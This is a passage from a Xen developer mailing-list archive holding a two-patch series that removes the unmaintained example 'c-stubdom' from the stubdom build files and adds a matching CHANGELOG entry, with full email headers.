 by imap1.dmz-prg2.suse.org with ESMTPSA id CqwPN9hvS2o1UAAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 06 Jul 2026 09:05:28 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328729; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=WMhrG//n6aEUC0sKej1RPG+N4bNTIaOxt0bOaUBw/9Q=;
	b=fSO/CZRVsXz5j+VsnCO9UXQPiTARjIRpKX+iT+wTa7KUdqF0IlgHrtvWYjTG9QvRRH11gN
	5jiMYGf9YdBSChcOjRL+Kqb03NGspJUnw5y6Ij71lKkmzRV/HFa0oVhjdGKLLxtUflFxP9
	ziz1wQD9eVnG1ca00SS8beMcok8RZH4=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328729; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=WMhrG//n6aEUC0sKej1RPG+N4bNTIaOxt0bOaUBw/9Q=;
	b=fSO/CZRVsXz5j+VsnCO9UXQPiTARjIRpKX+iT+wTa7KUdqF0IlgHrtvWYjTG9QvRRH11gN
	5jiMYGf9YdBSChcOjRL+Kqb03NGspJUnw5y6Ij71lKkmzRV/HFa0oVhjdGKLLxtUflFxP9
	ziz1wQD9eVnG1ca00SS8beMcok8RZH4=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: [PATCH v2 1/2] stubdom: remove c-stubdom
Date: Mon,  6 Jul 2026 11:05:20 +0200
Message-ID: <20260706090521.1992123-2-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260706090521.1992123-1-jgross@suse.com>
References: <20260706090521.1992123-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_DN_SOME(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,suse.com:email,suse.com:mid];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RCPT_COUNT_FIVE(0.00)[5];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-720697/1783328729-558E37C5-8DF3CD1F/0/0
X-purgate-type: clean
X-purgate-size: 6016

C-stubdom was meant as a base for building new Mini-OS based stubdoms.
It hasn't seen any work for many years now and creating new stubdoms
should use UNIKRAFT instead of Mini-OS.

So remove c-stubdom.

Signed-off-by: Juergen Gross <jgross@suse.com>
Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
 stubdom/Makefile     | 19 -------------------
 stubdom/c/Makefile   | 13 -------------
 stubdom/c/main.c     |  8 --------
 stubdom/c/minios.cfg |  2 --
 stubdom/configure    | 44 --------------------------------------------
 stubdom/configure.ac |  1 -
 6 files changed, 87 deletions(-)
 delete mode 100644 stubdom/c/Makefile
 delete mode 100644 stubdom/c/main.c
 delete mode 100644 stubdom/c/minios.cfg

diff --git a/stubdom/Makefile b/stubdom/Makefile
index 9aa0d3dee4..acd5e56f16 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -339,17 +339,6 @@ $(TARGETS_MINIOS): mini-os-%:
                 mkdir -p $@/$$i ; \
 	done
 
-###
-# C
-###
-
-c-minios-config.mk: $(CURDIR)/c/minios.cfg
-	MINIOS_CONFIG="$<" CONFIG_FILE="$(CURDIR)/$@" $(MAKE) DESTDIR= -C $(MINI_OS) config
-
-.PHONY: c
-c: $(CROSS_ROOT) c-minios-config.mk
-	CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat c-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) DESTDIR= -C $@ LWIPDIR=$(CURDIR)/lwip-$(XEN_TARGET_ARCH) 
-
 ######
 # VTPM
 ######
@@ -432,10 +421,6 @@ xenstorepvh: $(CROSS_ROOT) xenstorepvh-minios-config.mk
 # minios
 ########
 
-.PHONY: c-stubdom
-c-stubdom: mini-os-$(XEN_TARGET_ARCH)-c lwip-$(XEN_TARGET_ARCH) libxenguest c
-	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/c/minios.cfg" $(MAKE) DESTDIR= -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< LWIPDIR=$(CURDIR)/lwip-$(XEN_TARGET_ARCH) APP_OBJS=$(CURDIR)/c/main.a
-
 .PHONY: vtpm-stubdom
 vtpm-stubdom: mini-os-$(XEN_TARGET_ARCH)-vtpm vtpm
 	DEF_CPPFLAGS="$(TARGET_CPPFLAGS)" DEF_CFLAGS="$(TARGET_CFLAGS)" DEF_LDFLAGS="$(TARGET_LDFLAGS)" MINIOS_CONFIG="$(CURDIR)/vtpm/minios.cfg" $(MAKE) -C $(MINI_OS) OBJ_DIR=$(CURDIR)/$< APP_OBJS="$(CURDIR)/vtpm/vtpm.a" APP_LDLIBS="-ltpm -ltpm_crypto -lgmp -lpolarssl"
@@ -485,8 +470,6 @@ else
 install-grub-if-enabled:
 endif
 
-install-c: c-stubdom
-
 install-xenstore: xenstore-stubdom
 	$(INSTALL_DIR) "$(DESTDIR)$(XENFIRMWAREDIR)"
 	$(INSTALL_DATA) mini-os-$(XEN_TARGET_ARCH)-xenstore/mini-os.gz "$(DESTDIR)$(XENFIRMWAREDIR)/xenstore-stubdom.gz"
@@ -540,13 +523,11 @@ uninstall-vtpmmgr:
 .PHONY: clean
 clean: $(foreach lib,$(STUB_LIBS),clean-libxen$(lib))
 clean:
-	rm -fr mini-os-$(XEN_TARGET_ARCH)-c
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-grub
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstore
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-xenstorepvh
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpm
 	rm -fr mini-os-$(XEN_TARGET_ARCH)-vtpmmgr
-	$(MAKE) DESTDIR= -C c clean
 	$(MAKE) -C vtpm clean
 	$(MAKE) -C vtpmmgr clean
 	rm -fr grub-$(XEN_TARGET_ARCH)
diff --git a/stubdom/c/Makefile b/stubdom/c/Makefile
deleted file mode 100644
index b252dcad0b..0000000000
--- a/stubdom/c/Makefile
+++ /dev/null
@@ -1,13 +0,0 @@
-XEN_ROOT = $(CURDIR)/../..
-
-ifeq (,$(findstring clean,$(MAKECMDGOALS)))
-include $(XEN_ROOT)/Config.mk
-endif
-
-all: main.a
-
-main.a: main.o 
-	$(AR) cr $@ $^
-
-clean:
-	rm -f *.a *.o
diff --git a/stubdom/c/main.c b/stubdom/c/main.c
deleted file mode 100644
index f97a0f72d4..0000000000
--- a/stubdom/c/main.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-
-int main(void) {
-        sleep(2);
-        printf("Hello, world!\n");
-        return 0;
-}
diff --git a/stubdom/c/minios.cfg b/stubdom/c/minios.cfg
deleted file mode 100644
index 56d65510cd..0000000000
--- a/stubdom/c/minios.cfg
+++ /dev/null
@@ -1,2 +0,0 @@
-CONFIG_LIBC=y
-CONFIG_LWIP=y
diff --git a/stubdom/configure b/stubdom/configure
index e127ef44eb..8a0a798bd2 100755
--- a/stubdom/configure
+++ b/stubdom/configure
@@ -661,7 +661,6 @@ debug
 xenstorepvh
 xenstore
 grub
-c
 host_os
 host_vendor
 host_cpu
@@ -712,7 +711,6 @@ SHELL'
 ac_subst_files=''
 ac_user_opts='
 enable_option_checking
-enable_c_stubdom
 enable_pv_grub
 enable_xenstore_stubdom
 enable_xenstorepvh_stubdom
@@ -1360,7 +1358,6 @@ Optional Features:
   --disable-option-checking  ignore unrecognized --enable/--with options
   --disable-FEATURE       do not include FEATURE (same as --enable-FEATURE=no)
   --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]
-  --enable-c-stubdom      Build and install c-stubdom (default is DISABLED)
   --enable-pv-grub        Build and install pv-grub (default is DISABLED)
   --disable-xenstore-stubdom
                           Build and install xenstore-stubdom (default is
@@ -2406,47 +2403,6 @@ case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac
 
 # Enable/disable stub domains
 
-# Check whether --enable-c-stubdom was given.
-if test ${enable_c_stubdom+y}
-then :
-  enableval=$enable_c_stubdom;
-
-if test "x$enableval" = "xyes"
-then :
-
-
-c=y
-STUBDOM_TARGETS="$STUBDOM_TARGETS c"
-STUBDOM_BUILD="$STUBDOM_BUILD c-stubdom"
-STUBDOM_INSTALL="$STUBDOM_INSTALL install-c"
-STUBDOM_UNINSTALL="$STUBDOM_UNINSTALL install-c"
-
-
-else $as_nop
-
-if test "x$enableval" = "xno"
-then :
-
-
-c=n
-
-
-fi
-
-fi
-
-
-else $as_nop
-
-
-c=n
-
-
-fi
-
-
-
-
 # Check whether --enable-pv-grub was given.
 if test ${enable_pv_grub+y}
 then :
diff --git a/stubdom/configure.ac b/stubdom/configure.ac
index f07b08c5b3..33f170144e 100644
--- a/stubdom/configure.ac
+++ b/stubdom/configure.ac
@@ -18,7 +18,6 @@ m4_include([../m4/depends.m4])
 m4_include([../m4/fetcher.m4])
 
 # Enable/disable stub domains
-AX_STUBDOM_DEFAULT_DISABLE([c-stubdom], [c])
 AX_STUBDOM_DEFAULT_DISABLE([pv-grub], [grub])
 AX_STUBDOM_DEFAULT_ENABLE([xenstore-stubdom], [xenstore])
 AX_STUBDOM_DEFAULT_ENABLE([xenstorepvh-stubdom], [xenstorepvh])
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:05:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:05:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355176.1609923 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGZ-0000c9-BY; Mon, 06 Jul 2026 09:05:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355176.1609923; Mon, 06 Jul 2026 09:05:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGZ-0000c2-8o; Mon, 06 Jul 2026 09:05:27 +0000
Received: by outflank-mailman (input) for mailman id 1355176;
 Mon, 06 Jul 2026 09:05:26 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wgfGY-0000bw-2c
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:05:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfGW-00GoLn-Jh
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:05:24 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fcb-2eae-0a2a0a5409dd-0a2a45049f56-28
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:24 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fd4-a01d-0a2a45040019-c387df8381b2-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:24 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 97A8875B75;
 Mon,  6 Jul 2026 09:05:23 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 53B4E779AC;
 Mon,  6 Jul 2026 09:05:23 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id SLocE9NvS2ohUAAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 06 Jul 2026 09:05:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328723; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=zacrbbynQxWf15K/coYPDw3/uNvpPtxY4/1d6we4GT4=;
	b=BJ4QBv44PDgVER4kwCS/b1nh4sq6yis710wO99W8RDT8rvD0kkaiaxKmpwoRFPSN973CPw
	bcmBeJ4YrX4Dq/LezoeAarIReHs11qScq+Tm1taVz+GmXUKWqxqPtHlw89wzf4Z2vciLFx
	6EFzlRcobGwarPo3ytmnAT7qmEFh8cM=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=BJ4QBv44
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328723; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=zacrbbynQxWf15K/coYPDw3/uNvpPtxY4/1d6we4GT4=;
	b=BJ4QBv44PDgVER4kwCS/b1nh4sq6yis710wO99W8RDT8rvD0kkaiaxKmpwoRFPSN973CPw
	bcmBeJ4YrX4Dq/LezoeAarIReHs11qScq+Tm1taVz+GmXUKWqxqPtHlw89wzf4Z2vciLFx
	6EFzlRcobGwarPo3ytmnAT7qmEFh8cM=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Community Manager <community.manager@xenproject.org>
Subject: [PATCH v2 0/2] stubdom: remove c-stubdom
Date: Mon,  6 Jul 2026 11:05:19 +0200
Message-ID: <20260706090521.1992123-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-1.51 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	SUSPICIOUS_RECIPS(1.50)[];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	TO_DN_SOME(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	FREEMAIL_CC(0.00)[suse.com,vates.tech,ens-lyon.org,gmail.com,xenproject.org];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCPT_COUNT_FIVE(0.00)[6];
	DBL_BLOCKED_OPENRESOLVER(0.00)[changelog.md:url,suse.com:mid,suse.com:dkim,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns];
	TAGGED_RCPT(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	DKIM_TRACE(0.00)[suse.com:+];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FREEMAIL_ENVRCPT(0.00)[gmail.com]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 97A8875B75
X-Spam-Score: -1.51
X-purgate-ID: tlsNG-ebf023/1783328724-2D9A31CC-7CEBA26D/0/0
X-purgate-type: clean
X-purgate-size: 653

Remove the example stunbdom "c-stubdom".

Changes in V2:
- add patch 2

Juergen Gross (2):
  stubdom: remove c-stubdom
  CHANGELOG: add entry for removed c-stubdom

 CHANGELOG.md         |  1 +
 stubdom/Makefile     | 19 -------------------
 stubdom/c/Makefile   | 13 -------------
 stubdom/c/main.c     |  8 --------
 stubdom/c/minios.cfg |  2 --
 stubdom/configure    | 44 --------------------------------------------
 stubdom/configure.ac |  1 -
 7 files changed, 1 insertion(+), 87 deletions(-)
 delete mode 100644 stubdom/c/Makefile
 delete mode 100644 stubdom/c/main.c
 delete mode 100644 stubdom/c/minios.cfg

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 09:05:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 09:05:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355178.1609942 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGl-00017V-SG; Mon, 06 Jul 2026 09:05:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355178.1609942; Mon, 06 Jul 2026 09:05:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgfGl-00017O-N0; Mon, 06 Jul 2026 09:05:39 +0000
Received: by outflank-mailman (input) for mailman id 1355178;
 Mon, 06 Jul 2026 09:05:38 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wgfGk-00014b-KJ
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 09:05:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgfGh-002h1q-9X
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 11:05:35 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fdd-5cb7-0a2a0a5109dd-0a2a4508bb1a-6
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:35 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4b6fde-edec-0a2a45080019-c387df82b648-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 11:05:35 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id B68BB73AB0;
 Mon,  6 Jul 2026 09:05:34 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 768A8779AA;
 Mon,  6 Jul 2026 09:05:34 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id vmOeG95vS2o8UAAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 06 Jul 2026 09:05:34 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328734; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ajjWNiczIP6Z1poS+/ClhoNHuHeLCP0QrxrWyRWCjB4=;
	b=Do27AbWb6ntaVEE2NqWP5ZjrmsIuz1W4/nmhpOIpZ3Iyq2LWxN2ZcMdOQ7GsOE8a5LMiG0
	TEPGZb3JszDB+DZZgADKUGB1ruy5gAwMuXcYDIIGDZByGjRxTUKY/3+2phkjknygDGRWD2
	lhgij46cI2fGnYcW7kIalHH+7K0NDjM=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=Do27AbWb
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783328734; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ajjWNiczIP6Z1poS+/ClhoNHuHeLCP0QrxrWyRWCjB4=;
	b=Do27AbWb6ntaVEE2NqWP5ZjrmsIuz1W4/nmhpOIpZ3Iyq2LWxN2ZcMdOQ7GsOE8a5LMiG0
	TEPGZb3JszDB+DZZgADKUGB1ruy5gAwMuXcYDIIGDZByGjRxTUKY/3+2phkjknygDGRWD2
	lhgij46cI2fGnYcW7kIalHH+7K0NDjM=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Community Manager <community.manager@xenproject.org>
Subject: [PATCH v2 2/2] CHANGELOG: add entry for removed c-stubdom
Date: Mon,  6 Jul 2026 11:05:21 +0200
Message-ID: <20260706090521.1992123-3-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260706090521.1992123-1-jgross@suse.com>
References: <20260706090521.1992123-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-1.51 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	SUSPICIOUS_RECIPS(1.50)[];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	MIME_TRACE(0.00)[0:+];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	ARC_NA(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RCVD_TLS_ALL(0.00)[];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:email,suse.com:dkim,suse.com:mid,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,changelog.md:url];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	FREEMAIL_CC(0.00)[suse.com,gmail.com,xenproject.org];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TAGGED_RCPT(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+];
	RCPT_COUNT_THREE(0.00)[4];
	FREEMAIL_ENVRCPT(0.00)[gmail.com]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: B68BB73AB0
X-Spam-Score: -1.51
X-purgate-ID: tlsNG-c1860d/1783328735-4293D3FC-92DC7746/0/0
X-purgate-type: clean
X-purgate-size: 724

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 CHANGELOG.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index ef4e6ae9c4..fc9840c5d2 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -15,6 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
    - The kexec "v1" interface, which was declared obsolete in Xen 4.4 (2013).
      The only known user was the classic-xen fork of Linux.  This does not
      affect Xen kexec support in the kexec-tools package.
+   - The example stubdom "c-stubdom" has been removed.
 
